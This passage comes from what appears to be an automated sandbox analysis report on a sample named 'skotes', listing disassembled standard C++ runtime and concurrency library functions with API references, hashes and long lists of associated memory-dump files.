Instruction Fuzzy Hash: F4C1CF71D047089BDF24DFB4D945BAABBF4EF05310F0045BEE81697692EB31A908CB61

Function 00BA44DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00BA4538
ListArray.LIBCONCRT ref: 00BA456C
Hash.LIBCMT ref: 00BA45D5
Hash.LIBCMT ref: 00BA45E5

Part of subcall function 00BA9C41: std::bad_exception::bad_exception.LIBCMT ref: 00BA9C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 00BA474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00BA47A4

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: 1cc97984e97a0043be7a23aa4cc8d6e0108740767b370f644879135b8e1829b9
Instruction ID: 0840e30e5e10879cfa5eb5fc12fe8c8a813754467e7c1b3d8816bb1fe136f855
Opcode Fuzzy Hash: 1cc97984e97a0043be7a23aa4cc8d6e0108740767b370f644879135b8e1829b9
Instruction Fuzzy Hash: C28182B0A15B52BAD708DF78C845BD9FBE8FF4A710F10425AE428D7281DBB4A514CBD1

Function 00B9ECE6 Relevance: 9.1, APIs: 6, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B9ECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00B9ED17

Part of subcall function 00B9F3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 00B9F3FA

__alloca_probe_16.LIBCMT ref: 00B9ED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 00B9ED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00B9EDC6
__freea.LIBCMT ref: 00B9EDEC

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16__freea
String ID:
API String ID: 1319684358-0
Opcode ID: 670889f0692f553abbb5428c0efc69431f93d3298f222455ebd254cb53290f14
Instruction ID: 782001ff08d12e5f874bc7e3de2a12ab312678909c15955bd156124e37fa7e23
Opcode Fuzzy Hash: 670889f0692f553abbb5428c0efc69431f93d3298f222455ebd254cb53290f14
Instruction Fuzzy Hash: F63169B1A002168BCF15DFA8C9816ADB7F5EF49310B6440BAE865F7351DB35DE02CBA4

Function 00B9EE5F Relevance: 9.1, APIs: 6, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 00B9EEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 00B9EEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00B9EEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00B9EF0F
Concurrency::Context::Block.LIBCONCRT ref: 00B9EF31

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID:
API String ID: 1182035702-0
Opcode ID: 9d914b33c855945ee096f52f15883f8a34ee6bb24a05b6f16aaf260af8395343
Instruction ID: 39671537e4a6cb25b2d2a602a9e744da8941d7ba6b74a7c443ef5036bab56279
Opcode Fuzzy Hash: 9d914b33c855945ee096f52f15883f8a34ee6bb24a05b6f16aaf260af8395343
Instruction Fuzzy Hash: E6216D70C146199BEF28EFA4C8457EEBBF0FF15360F2009BAE061A61D1E7719A44CB55

Function 00BB1B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00BB1B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BB1B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BB1C2A

Strings

pContext, xrefs: 00BB1C22
switchState, xrefs: 00BB1B5E

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: 23916decb8f549166b1bcf012794d4629d5e17570c4d016a215df636ea11c84c
Instruction ID: 85301709b904956bbf106849ca88843421c55035b26f213cd364b5d78c86229d
Opcode Fuzzy Hash: 23916decb8f549166b1bcf012794d4629d5e17570c4d016a215df636ea11c84c
Instruction Fuzzy Hash: 10319235A00214ABCF14EF68C8A1AFDB7F5EF44314F6049E5E911AB291EBB0ED01CA90

Function 00BB4E1A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 00BB4E6D
FindMITargetTypeInstance.LIBVCRUNTIME ref: 00BB4E86
PMDtoOffset.LIBCMT ref: 00BB4EAC

Strings

Bad dynamic_cast!, xrefs: 00BB4EEE

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
